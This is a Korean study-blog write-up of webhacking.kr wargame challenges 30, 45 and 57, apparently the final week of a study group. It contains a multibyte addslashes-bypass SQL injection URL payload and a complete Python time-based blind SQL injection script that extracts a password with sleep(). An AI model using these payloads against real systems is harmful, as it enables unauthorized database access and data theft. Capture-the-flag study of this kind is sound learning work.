💡 30번 문제 풀이
문제 속 링크를 타고 들어가면 다음과 같은 php 코드가 나온다.
<?php
if($_GET['view_source']) highlight_file(__FILE__);
$db = mysqli_connect() or die();
mysqli_select_db($db,"chall30") or die();
$result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
if($result[0]){
include "/flag";
}
?>
여기서 mysqli_connect() 가 눈에 띄는데, 이름에서 보이는 것처럼 MySQL 서버나 마리아디비 서버와 연결해주는 함수다. mysqli_connect에 인자(host, username, port, password)가 없는 경우 디폴트 값이 들어가는데 찾아보니 각각 NULL, NULL, 3306, NULL 로 설정되어 있다.
php_value mysqli.default_host "IP주소:3306"
php_value mysqli.default_user "계정명"
php_value mysqli.default_pw "계정 비밀번호"
💡 45번 문제 풀이
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
echo "hi {$result['id']}";
if($result['id'] == "admin") solve(45);
}
else echo("Wrong");
}
?>
코드를 보면 mb_convert_encoding 함수가 특징적이다. 찾아보니 이 함수에 대한 취약점이 있는데 멀티 바이트를 사용하는 언어 셋 환경에서 백슬래시 앞에 %a1~%fe의 값이 들어가면 %a1\가 하나의 문자처럼 취급된다는 것이다.(출처-https://izeus12.tistory.com/65)
이 문제에서 이 취약점을 잘 사용해야 하는 이유는 addslashes 때문이다.
addslashes로 인해 만약 admin' or 1=1' 을 입력하면 admin\' or 1=1\'로 바꿔서 '까지 문자열로 인식되므로 인젝션이 무효화된다.
따라서 우리는 백슬래시 앞에 %a1~%fe값을 넣어줌으로써 백슬래시까지만 문자열로 인식되게 하고 싱글쿼터가 정상적으로 삽입될 수 있도록 해줘야 한다.(나는 %a1을 앞에 넣어주었다.)
또한 admin을 필터링하고 있기 때문에 이를 hex, bin, ascii 등으로 변환하여 값을 넣어줘야 하고(나는 hex 선택), =이 필터링되므로 like로 우회해야 한다.
?id=1%a1%27 or id like 0x61646D696E%23&pw=1
💡 57번 문제 풀이
<?php
$db = dbconnect();
if($_GET['msg'] && isset($_GET['se'])){
$_GET['msg'] = addslashes($_GET['msg']);
$_GET['se'] = addslashes($_GET['se']);
if(preg_match("/select|and|or|not|&|\||benchmark/i",$_GET['se'])) exit("Access Denied");
mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
echo "Done<br><br>";
if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
}
?>
코드에 benchmark라는 것이 필터링되고 있는데, 나는 이 아이를 처음 봐서 검색을 해봤다. Time-Based SQL Injection에 사용되는 함수이며 쿼리문 주입 시 결과에 따라 반환시간을 지연시킴으로써 참거짓을 판단한다. 이때 benchmark() 함수는 sleep() 함수와 비슷한데, sleep() 함수는 잘 알려진 바와 같이 ()안에 들어가는 시간만큼 멈췄다가 0을 반환해준다.
아무 값이나 message에 입력하면 "Done" 이라는 문구를 반환한다는 사실과, sleep()함수를 이용해 코드를 짜보았다.
import requests
import urllib3
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://webhacking.kr/challenge/web-34/index.php?msg=hi&se="
cookies = {"PHPSESSID": "세션아이디값"}
pw_length = 0
flag = ""
# GET length of pw
for i in range(30):
payload = "if(length(pw)={},sleep(3),1)".format(i)
request = time.time()
r = requests.get(url=url + payload, cookies=cookies, verify=False)
if "Done" in r.text:
response = time.time()
final_time = response - request
if final_time >= 3:
pw_length = i
break
else:
pass
print("pw_length : ", i)
for i in range(1, pw_length + 1):
for j in range(33, 127):
payload = "if(ascii(substr(pw,{},1))={},sleep(3),1)".format(i, j)
request = time.time()
r = requests.get(url=url + payload, cookies=cookies, verify=False)
if "Done" in r.text:
response = time.time()
final_time = response - request
if final_time >= 3:
flag += chr(j)
print(flag)
break
else:
pass
print("flag : ", flag)
😎 느낀 점
이번주가 스터디 마지막 주차였다. 실력이 부족해서 혹은 문제오류로 아직 못 푼 문제들도 남았지만.. 웹에 대해 조금 더 배운 후에 다시 보았을 때는 해결할 수 있지 않을까 기대한다. 워게임 사이트가 아직 리뉴얼이 안되어있을 때 스터디를 시작한 것이 아쉽다. 지금 새로운 문제들이 하나 둘 올라오고 있는데, 새로운 문제들이 훨씬 트렌드를 반영한 문제들이 아닐까 싶다. 이제는 시간날 때마다 못 푼 old문제들과 새롭게 만들어진 문제들을 풀어봐야겠다ㅎㅎ 문제풀이를 하면서 문제 풀고 끝 이 아니라 그에 사용되는 개념들을 찾아보는 연습을 할 수 있어 좋았다. 새로운 개념들이 많았는데, 지금 당장 모두 기억하지는 못해도 나중에 그 개념들을 마주했을 때 좀 더 반갑게 공부하고 적용할 수 있을 것 같다. 앞으로도 보안 공부 화이팅!!!